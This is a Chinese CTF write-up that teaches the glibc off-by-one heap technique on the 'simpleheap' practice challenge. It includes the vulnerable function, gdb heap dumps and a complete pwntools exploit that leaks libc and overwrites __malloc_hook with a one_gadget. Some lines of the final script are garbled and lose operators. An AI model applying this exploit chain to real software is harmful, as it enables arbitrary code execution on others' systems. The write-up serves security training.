快速入门堆溢出技巧(OFF BY ONE)

OFF BY ONE

所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节

并且堆块的fd(前驱指针)以及bk(后继指针)都会指向

main_arena+88的地址这也是我们泄露出来的地址

利用gdb 输入libc查看基地址,main_arena+88-libc=offset

UNSORTERBIN&FASTBINS

在堆块的bins中分为fastbins,largebins,smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。

例题讲解

本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到

思路概述

我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块

其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的

编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击

接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可
免费领取学习资料
2021年全套网络安全资料包及最新面试题
(渗透工具,环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)

First step

常规操作checksec

保护全开64位,倒也正常。接着拉进ida慢慢分析

q@ubuntu:~$ checksec vn
[*] '/home/q/vn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

如下我们可以发现是个非常经典的菜单题目,那么经过查找漏洞点发现在edit函数

void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_A39(a1, a2, a3);
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
menu();
switch ( (unsigned int)sub_9EA() )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
show();
break;
case 4u:
del();
break;
case 5u:
exit(0);
default:
puts("Please input current choice.");
break;
}
}
}

如下get_input_content里面有个off by one 的漏洞

unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 )
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}

Second step

在第一步我们对程序的漏洞点寻找完毕

现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数

from pwn import *
context(log_level='debug')
r=process('./vn')
elf=ELF('./vn')
r=remote('node3.buuoj.cn',28465)
libc=ELF('16.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))

如思路概述所讲到我们需要创建4个堆

我们创建好的堆结构如下

OdSRMCLjXgl9iPk.png
在gdb中正常的堆结构如下

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x556b208da000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x556b208da020
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x556b208da090
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x556b208da100
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x556b208da120
Size: 0x20ee1

接下来我们开始利用off by one去对其创建fake chunk

add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk

edit(0,b'a'*0x18+b'\xe1')
free(1)
gdb.attach(r)

gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650f994f000
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650f994f020
Size: 0xe1
fd: 0x7fc2f9aebb78
bk: 0x7fc2f9aebb78

Allocated chunk
Addr: 0x5650f994f100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x5650f994f120
Size: 0x20ee1

Third step

有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc

在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk

其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址

main_arena+88-libc=offset=0x3c4b78

在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢?

这里就要继续提到

分割unsortedbin

我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下

一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x559615971000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x559615971020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x559615971090
Size: 0x71
fd: 0x7f0437e11b78
bk: 0x7f0437e11b78

Allocated chunk
Addr: 0x559615971100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x559615971120
Size: 0x20ee1

因此我们可以得的泄露脚本如下

add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露

main_arena

dump(2)

leak=u64(r.recv(6).ljust(8,b'\x00'))

print(hex(leak))

gdb.attach(r)

libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000

realloc_addr=libc_base+libc.sym['__libc_realloc']

malloc_hook=libc_base+libc.sym['__malloc_hook']

fake_chunk_addr=malloc_hook-0x23

one_gadget=libc_base+0x4526a

print(hex(realloc_addr))

print(hex(fake_chunk_addr))

PS:

这里可以说下为什么fake_chunk_addr=malloc_hook-0x23

这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的

如下0x7f78812fbaed就是fake chunk的地址处于fastbins

并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

Last step

我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload

在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload

从第三步完结的时候堆排布如下

此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来

此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555d4046b020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555d4046b090
Size: 0x71
fd: 0x7ff34264eb78
bk: 0x7ff34264eb78

Allocated chunk
Addr: 0x555d4046b100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x555d4046b120
Size: 0x20ee1

接下来我们再去free掉一个0x68大小的chunk

对留下来的0x68大小的chunk内容填充为fake chunk的地址

接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk

也许语言看蒙了人,我就用图表示

图1如下是free掉后再去填充的样子

VXxY5gHt6OBCWEK.png

图2如下是我们把被free的chunk申请回来后的样子

NvL3HnsEMGQmBWp.png

此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了

add(0x68,b'a'*0x08)# 4与2同时指向0x70

free(4)
edit(2,p64(fake_chunk_addr))

add(0x68,b'a'*0x08)#4

payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5

r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

PS:

关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8)

关于realloc_hook压栈到底要加多少

我们可以打开gdb输入 x/32i __libc_realloc

pwndbg> x/32i __libc_realloc
0x7ff34230e710 <__GI___libc_realloc>: push r15
0x7ff34230e712 <__GI___libc_realloc+2>: push r14
0x7ff34230e714 <__GI___libc_realloc+4>: push r13
0x7ff34230e716 <__GI___libc_realloc+6>: push r12
0x7ff34230e718 <__GI___libc_realloc+8>: mov r12,rsi
0x7ff34230e71b <__GI___libc_realloc+11>: push rbp
0x7ff34230e71c <__GI___libc_realloc+12>: push rbx

把里面的数字一个个代入试试看。

最后的完整exp如下

EXP:

需要的libc从buuctf里面下载

from pwn import *
context(log_level='debug')
r=process('./vn')
elf=ELF('./vn')
r=remote('node3.buuoj.cn',28640)
libc=ELF('64.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))

gdb.attach(r)
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk

edit(0,b'a'0x18+b'\xe1')
free(1)
add(0x68,b'a'
0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))

libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'
0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

结果如下
headImg.action?news=1e9dfc2b-b0f3-473a-a041-49d1486572e7.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335

推荐阅读更多精彩内容